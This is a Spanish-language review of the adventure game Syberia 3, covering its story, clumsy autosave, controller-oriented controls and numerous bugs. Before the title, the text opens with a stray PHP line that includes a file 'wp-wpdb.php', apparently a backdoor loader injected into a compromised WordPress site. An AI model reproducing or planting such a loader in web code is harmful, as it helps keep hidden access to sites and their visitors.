if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Análisis Syberia 3 – La Fortaleza de LeChuck

Análisis Syberia 3

Trece años después de Syberia 2, Benoît Sokal nos propone una nueva entrega de la saga protagonizada por la aventurera Kate Walker, prestigiosa abogada afincada en Nueva York que abandona su vida y su carrera para acompañar al anciano Hans Voralberg a realizar el sueño de su infancia. Esta vez, Kate decidirá acompañar a la pequeña tribu nómada Yukol en una migración ceremonial que llevan realizando cada veinte años. No será fácil, las autoridades americanas quieren dar con Kate a toda costa y los Yukols no son bien recibidos por allá donde pasan. ¡Es hora de que Kate empiece su nueva aventura en Syberia 3!

Al final de Syberia 2 dejábamos atrás todo aquel mundo relacionado con Hans Voralberg y la tierra secreta de Syberia. Kate descubriría quién era en realidad Hans, entendería su vida desde pequeño y comprendería sus obsesiones. Argumentalmente se ataban todos los cabos y Hans conseguía realizar su sueño. Pero, ¿qué pasaba con Kate? ¿Qué haría a partir de ahora? Era evidente que ya no era la misma persona, ¡no podía darse la vuelta e irse a casa! Tantas vivencias, tanta implicación le habían hecho mella, pero el final ni siquiera nos planteaba alguna de estas preguntas.

Syberia 3 coge el relevo justo en el momento donde Syberia 2 lo dejó, pero Kate sigue sin preocuparse demasiado sobre su futuro. Otros hechos la mantendrán ocupada, la tribu Yukol que la salvó de una muerte segura necesita ahora su ayuda. Los Yukol son una tribu nómada que realiza una gran migración cada veinte años cabalgando sobre unas avestruces gigantes. Kate tendrá que lidiar contra las inclemencias del tiempo, el servicio militar ruso e incluso un famoso detective contratado para llevarla ante la justicia americana.

La historia de Syberia 3 se centra en esa gran migración tejiendo una trama que rápidamente nos atrapa, nos embauca con su acción. Olvidaos de esos largos paseos por Valadilène sin nada que hacer. Esta vez estaremos en continua tensión, seremos fugitivos, y como tales el tiempo será nuestro peor enemigo. Y aquí es donde está la mejor baza de la aventura, lo que Benoît Sokal sabe hacer mejor es explicarnos historias. Y en ésta veremos el peligro más cerca que nunca, algo que notaremos como jugadores. Pero no os preocupéis, Syberia 3 sigue abrazando los grandes pilares de las aventuras gráficas sustentados por LucasArts: no podremos morir, no podremos quedarnos atascados (excepto por algún molesto bug). Es solo que el ritmo de esta entrega es mucho más frenético respecto a las anteriores, y eso le hace mucho bien a la aventura.

Ahora bien, esta nueva entrega de la saga viene con unos molestos cambios bajo el brazo. Syberia 3 se apunta a la moda del guardado automático, nuestro progreso estará a salvo siempre y cuando observemos los pequeños engranajes aparecer en pantalla. Esto ya se había implementado en algunas versiones de los anteriores Syberia (en Mac o en consolas) causando multitud de quejas por parte de los jugadores. En Syberia 3 este sistema de guardado es, como poco, tosco e incómodo. Estamos limitados a dejar la partida cuando al juego le plazca: al resolver un acertijo concreto, o avanzar en algún sentido. Otros juegos han optado por guardar al cambiar de localización, cosa que se hubiera agradecido. No controlar el guardado provoca que quizás tengamos que repetir algunos puzles, o algunas cinemáticas enteras. Para más inri, algún que otro bug ha dejado a algún jugador con su preciado savegame completamente corrupto, y al no haber más que una partida guardada a la vez, todo el progreso del juego se ve comprometido. Así pues, no entiendo ni comparto esta decisión, ya que solo causa frustración y no ayuda en nada al desarrollo del juego.

Pero aquí no acaban las decisiones polémicas. Y es que Syberia 3 se podría definir como un juego console first. Es incomprensible el cambio de control usado para Syberia 3, donde el teclado y el ratón han sido desplazados de tal manera que es prácticamente injugable con estos. El juego mismo nos recomienda hacernos con un mando para disfrutar de una experiencia más completa. El control en una aventura gráfica no es baladí, y en Syberia 3 éste se transforma en nuestro gran enemigo. Me tocó desempolvar un viejo mando de Xbox 360 para poder realizar algunas de las acciones más complejas. Moveremos a Kate usando unos controles más propios de Tomb Raider que de una aventura gráfica. Podremos correr, manteniendo apretado el gatillo derecho, y realizar acciones como mirar o coger objetos usando los botones identificados por sus colores. Cada botón tiene una acción que nunca varía, el botón Y sirve para mirar, el A para accionar y así con el resto. Para abrir cajones y accionar palancas deberemos manipular el mando como si fuese el objeto en sí.

El desplazamiento por la pantalla es también muy errático, siendo una de las características menos pulidas del juego. Kate será incapaz de atravesar algunas zonas donde muros invisibles nos cortarán el paso, pero podrá acceder a otras detrás de los escenarios dejándonos bloqueados. A veces nuestra heroína se negará a subir escaleras, forzándonos a hacer un giro con sus controles tanque e intentarlo desde otro ángulo.

A los fallos del control se le suman todo tipo de errores que van desde problemas relacionados con el inventario, objetos que no desaparecen o que se repiten, a bugs más graves con los controles que nos obligan a recargar partida. A propósito del inventario, éste se divide en dos: de documentos y de objetos. Aunque no siempre es obvio donde irá un nuevo papel que hemos recogido, siendo un poco a criterio del diseñador.

Las quejas parecen ir más lejos y afectar también a versiones de consola, donde varios usuarios han reportado inestabilidad y bajo framerate en sus flamantes PS4. Un tirón de orejas para el bueno de Benoît Sokal, a quien parece que las nuevas tecnologías se le han atragantado un poco.

Syberia es una saga muy unida a una historia. Una historia que conocemos bien y que se explica a través de autómatas, de personajes entrañables, de máquinas complejas que esconden enigmas. Syberia 3 contiene todo eso, conservando intacto la firma de su creador. Un estilo particular donde la historia lo importa todo y los puzles son casi un obstáculo a evitar. Durante la aventura nos encontraremos múltiples puzles de tablero, tendremos que arreglar máquinas sin instrucción alguna y a veces combinar algún objeto con el escenario. El desarrollo es muy lineal. Los objetos que vayamos necesitando irán apareciendo sobre la marcha, siendo necesario realizar un par de vueltas por los escenarios para revisar que lo tengamos todo. En ocasiones los puntos interactivos no aparecerán y tendremos que realizar alguna otra acción primero, forzándonos a volver sobre nuestros pasos. Todo eso añadido a la imposibilidad de saltar diálogos y cut scenes resulta en una experiencia de juego muy frustrante. Una oportunidad desaprovechada para hacer un cambio hacia un mejor diseño, donde los puzles fluyan y dirijan la historia de manera natural.

Benoît Sokal ha querido hacer de Syberia una experiencia mucho más cinematográfica y por poco le sale realmente bien. Los fallos técnicos unidos a sus vicios como diseñador hacen de Syberia 3 una aventura sólo recomendable a seguidores de la saga. Esperemos que futuros parches ayuden a mejorar su estabilidad. ¡Kate Walker y Óscar se lo merecen!

Para analizar Syberia 3 se ha usado su versión de PC y un mando de Xbox 360.

¡Tuk Tuk!

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